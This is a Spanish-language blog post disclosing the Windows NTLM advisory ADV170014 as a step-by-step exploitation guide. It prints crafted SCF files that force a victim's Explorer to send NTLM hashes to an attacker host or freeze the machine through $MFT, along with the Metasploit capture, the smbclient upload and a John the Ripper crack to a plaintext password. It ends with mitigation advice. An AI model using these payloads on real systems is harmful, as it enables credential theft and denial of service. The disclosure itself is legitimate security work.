ADV170014 NTLM SSO: Guía de explotación

El Microsoft patch Tuesday de Octubre del 2017, incluyó un advisory ‘opcional’ de seguridad bajo el número ADV170014, este advisory hace referencia a un bug en el esquema de autenticación NTLM que permite el robo de credenciales de autenticación y también permite el congelamiento de la máquina por parte de un atacante.

Este bug fue reportado por mí en Mayo 24 del 2017, y fue cerrado por Microsoft en Octubre 18 del 2017.

Un total de 148 días, se tomó Microsoft desde el reporte inicial hasta cerrar el caso.

La razón por la cual lo hago público es que Microsoft ya esta al tanto del asunto y emitió una alerta sobre el problema, ya queda en manos de los administradores de red si aplican el parche o no, dependiendo de qué tantas funcionalidades pierdan, pero de ello hablaremos mas adelante.

La vulnerabilidad

Desde hace tiempo es conocido que el modelo de autenticación NTLM de Microsoft tiene fallas desde el diseño de arquitectura, el robo de ‘hash’, no es algo nuevo cuando se habla de atacar la plataforma de Microsoft, de hecho, hay varias técnicas conocidas para ejecutar este tipo de ataques, y en su gran mayoría, por no decir que todas, requieren interceptación de tráfico y engañar al usuario para que ejecute alguna acción que nos permita robar el ‘hash’.

En este caso, no se requiere participación alguna por parte del usuario, todas las acciones se realizan por parte del atacante.

Para poder explotar esta vulnerabilidad, se requieren ciertas condiciones para el ataque, condiciones que voy a describir a continuación.

Condiciones para el ataque

Para poder ejecutar este ataque, se requiere que el usuario de la máquina haya creado una carpeta para compartirla en su entorno de red, y que la haya compartido sin contraseña.

Algo muy normal en los entornos de oficina, donde un usuario crea una carpeta para compartir musica o fotos con el resto de su equipo.

Digamos que el usuario ‘Juan’ crea una carpeta en su escritorio llamada ‘Prueba2’, y decide compartirla con su equipo.

Carpeta vulnerable compartida en Windows
Carpeta vulnerable compartida en Windows

 

Ahora, vamos a la pestaña ‘Sharing’, para modificar las propiedades de la carpeta y poderla compartir sin el uso de contraseñas.

Pestaña de propiedades compartidas en carpeta vulnerable
Pestaña de propiedades compartidas en carpeta vulnerable

 

Aquí podemos ver la ruta de la carpeta compartida, \\JUAN-PC\Users\juan\Desktop\prueba2

Ahora debemos hacer ‘clic’ en ‘Network and Sharing Center.

Network and Sharing center, propiedades de carpeta vulnerable.
Network and Sharing center, propiedades de carpeta vulnerable.

 

Aquí hacemos ‘clic’ en la opción ‘Turn off password protected sharing’,  que básicamente lo que hace es permitir que cualquier usuario, pueda acceder a dicha carpeta sin ningún tipo de autenticación.

Archivos SCF

Los archivos SCF, fueron introducidos por Microsoft en Windows 3.11, son archivos de texto plano, que pasan órdenes al Explorador de archivos de Windows para que realice ciertas acciones básicas.

Ya hay ataques basados en archivos SCF, pero hasta el momento, todos requieren que el usuario haga ‘clic’ o interactúe con la carpeta que contiene el archivo SCF para poder que éste se ejecute.

Los dos ejemplos más recientes son los ataques creados por Bosko Stankovic de Defense Code, en su paper Stealing Windows Credentials Using Google Chrome y también el trabajo presentado en el BlackHat 2015 por Jonathan Brossard y Hormazd Billimoria titulado SMB: Sharing more than just your files. Estos ataques, requieren interacción por parte del usuario para poder ejecutarse.

La estructura básica de un archivo SCF es la siguiente:

[Shell]
Command=2
IconFile=\\192.168.1.101\share\test.ico
[Taskbar]
Command=ToggleDesktop

Cabe anotar que los archivos SCF son una de las funcionalidades mas ‘esotéricas’ de Windows, la documentación es prácticamente nula, y el soporte de Microsoft sobre estos archivos siempre es inexistente.

El ataque, robando el hash

Para realizar el ataque, vamos a requerir de Metasploit, y de un archivo SCF preparado de la siguiente forma.

root@sysadminjd:~# cat test.scf
[Shell]
Command=2
IconFile=\\192.168.1.111\share\test.ico
[Taskbar]
Command=ToggleDesktop

root@sysadminjd:~#

La máquina 192.168.1.111, es nuestra máquina atacante, en la cual estamos ejecutando el módulo smbcapture de Metasploit.

root@sysadminjd:~# msfconsole -q

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set JOHNPWFILE /tmp/smbhash.txt
JOHNPWFILE = /tmp/smbhash.txt
msf auxiliary(smb) > exploit -j
[*] Auxiliary module running as background job

[*] Server started.
msf auxiliary(smb) >

También vamos a utilizar a John the Ripper para obtener la contraseña en texto plano, por ello definimos la variable JOHNPWFILE apuntando al archivo /tmp/smbhash.txt, en el cual se guardarán los hash que obtengamos, también podemos usar Hashcat, el resultado será el mismo.

La carpeta ‘Prueba2’, de momento se encuentra vacía, aunque la verdad no importa si hay otros archivos en ella.

Carpeta vulnerable antes del ataque
Carpeta vulnerable antes del ataque

Teniendo todo listo, subimos el archivo SCF a la carpeta vulnerable por cualquier medio, explorador de Windows, Finder de OSX o en mi caso, smbclient.


root@sysadminjd:~# smbclient //192.168.1.67/Users
WARNING: The "syslog" option is deprecated
Enter root's password:
OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]
smb: \> cd juan
smb: \juan\> cd Desktop\
smb: \juan\Desktop\> cd prueba2\
smb: \juan\Desktop\prueba2\> put test.scf
putting file test.scf as \juan\Desktop\prueba2\test.scf (88.9 kb/s) (average 88.9 kb/s)
smb: \juan\Desktop\prueba2\> ls
. D 0 Mon Oct 23 12:27:15 2017
.. D 0 Mon Oct 23 12:27:15 2017
.DS_Store AH 6148 Tue May 23 17:29:03 2017
test.scf A 91 Mon Oct 23 12:27:15 2017

6527487 blocks of size 4096. 4043523 blocks available
smb: \juan\Desktop\prueba2\>
root@sysadminjd:~#

La carpeta ahora debe contener nuestro archivo SCF:

Carpeta vulnerable con archivo SCF
Carpeta vulnerable con archivo SCF

 

En este punto, nuestra consola de Metasploit debería estar mostrando algo como esto:


msf auxiliary(smb) >
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:47894338d99abe2f08e2c693618c7323
NT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:e97b70559f29462e2ca221d31113b9ca
NT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:eb8b228b739cc95a12d7e0d89d89e002
NT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:4abb0803c4afd1509bfca3bbc566ad70
NT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:5eeb82aab85e9663624aaf6500e4d8f8
NT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:55a0cb725a5a171cffdccea36fdcd934
NT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000

Hay que notar dos cosas: la primera, que aunque el archivo se sube una sola vez, llegan varias peticiones de conexión a smbcapture, de momento desconozco la razón para ello, pero no afecta en lo absoluto la explotación de la vulnerabilidad.

Lo otro, es que mientras el archivo SCF esté presente en la carpeta, cada que se abra la carpeta con el explorador de Windows, se va a enviar la petición remota de conexión. Esto es así por diseño de los archivos SCF.

Ahora que tenemos los hash en nuestra máquina atacante en la ruta /tmp, podemos usar John The Ripper para obtener la clave en texto plano.


root@sysadminjd:~# cd /tmp/
root@sysadminjd:/tmp# john smbhash.txt_netntlmv2
Using default input encoding: UTF-8
Rules/masks using ISO-8859-1
Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
abc (juan)
abc (juan)
abc (juan)
abc (juan)
abc (juan)
abc (juan)
6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abc
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@sysadminjd:/tmp#

Como podemos ver, John, nos devolvió el usuario que está conectado en la maquina ‘juan’ y su contraseña en texto plano ‘abc’

A partir de este punto, empieza la fase de post explotación, que queda fuera de alcance de esta entrada del blog.

El ataque, congelando la máquina

Como comenté al principio, se derivan dos ataques (de momento) de esta vulnerabilidad, el primero robar el hash, el segundo congelar la máquina remotamente.

Para ello requerimos la misma carpeta vulnerable, tal cual la creamos en el primer paso, lo siguiente que necesitamos es un archivo SCF, de la siguiente forma:

root@sysadminjd:~# cat mft.scf
[Shell]
Command=2
IconFile= c:\$MFT\123
[Taskbar]
Command=ToggleDesktop
root@sysadminjd:~#

Es un archivo SCF con una llamada a $MFT, el problema de $MFT se discute en ésta entrada del blog, con otro vector de ataque, pero la mecánica es igual.

Ahora solo debemos subir nuestro archivo a la máquina vulnerable, usaremos de nuevo smbclient:


root@sysadminjd:~# smbclient //192.168.1.67/Users
WARNING: The "syslog" option is deprecated
Enter root's password:

OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]

smb: \> cd

Default\ desktop.ini juan\ Public\

smb: \> cd juan\Desktop\prueba2\
smb: \juan\Desktop\prueba2\> ls
. D 0 Wed May 24 18:08:34 2017
.. D 0 Wed May 24 18:08:34 2017
.DS_Store AH 6148 Tue May 23 17:29:03 2017
1.exe A 7168 Tue May 23 17:29:03 2017
prueba.scf A 92 Wed May 24 18:08:34 2017

6527487 blocks of size 4096. 4156104 blocks available

smb: \juan\Desktop\prueba2\> put mft.scf
putting file mft.scf as \juan\Desktop\prueba2\mft.scf (17.6 kb/s) (average 17.6 kb/s)

Eso es todo, no se requiere intervención por parte del usuario o por parte del atacante, a partir de este momento el sistema de archivos NTFS crea un bloqueo en el archivo que lleva a la máquina a congelarse por completo.

¿Quienes son vulnerables?

De acuerdo a Microsoft, todas las versiones de Windows desde 3.11 hasta Windows 10, pasando por las versiones Desktop y Server. La verdad yo solo he probado en Windows XP, Windows 7 y Windows 10.

Mitigación

Microsoft creó un parche opcional para solucionar esta vulnerabilidad que consiste en hacer dos cambios en el registro, pero lastimosamente sólo sirve para las versiones Windows 10 y Server 2016, todas las demás versiones seguirán siendo vulnerables a este ataque.

Otro problema que se crea, es que esta capacidad de Windows de compartir archivos se utiliza de forma generalizada en casi todos lados, por ello, inhabilitar totalmente esta característica de Windows, parece no ser la mejor opción para solucionar el problema, lamentablemente, parece ser la única salida.

Mi recomendación: si necesita esta funcionalidad de Windows, utilice contraseñas más fuertes, al final obtenemos el hash por métodos de fuerza bruta, pero si la contraseña es compleja va a tomar más tiempo y puede disuadir al atacante. Otra opción es no compartir carpetas sin contraseña, esto evita el ataque por completo.

Comentarios finales y agradecimientos

Esta vulnerabilidad pasó desapercibida por mucho tiempo, su explotación es tan sencilla que permite que casi cualquiera abuse de ella, las condiciones de explotación, si bien se dan de forma general, no son la configuración por defecto de Windows, lo que nos deja un poco tranquilos sobre el tema.

Quiero agradecer a la gente de Microsoft que me apoyaron durante estos 148 días en la resolución del problema, lastimosamente un parche completo no es posible sin ‘quebrar’ las funcionalidades de Windows que la mayoría de personas utiliza.

Este exploit no hubiera sido posible sin los trabajos de Bosko Stankovic de Defense Code, en su paper Stealing Windows Credentials Using Google Chrome y de Jonathan Brossard y Hormazd Billimoria en su presentación SMB: Sharing more than just your files.

Y por supuesto, gracias a ustedes por leer esta entrada un poco larga.

 

 

¡Saludos!

 

 

 

 

 

 

 

 

Deja tu comentario

%d bloggers like this: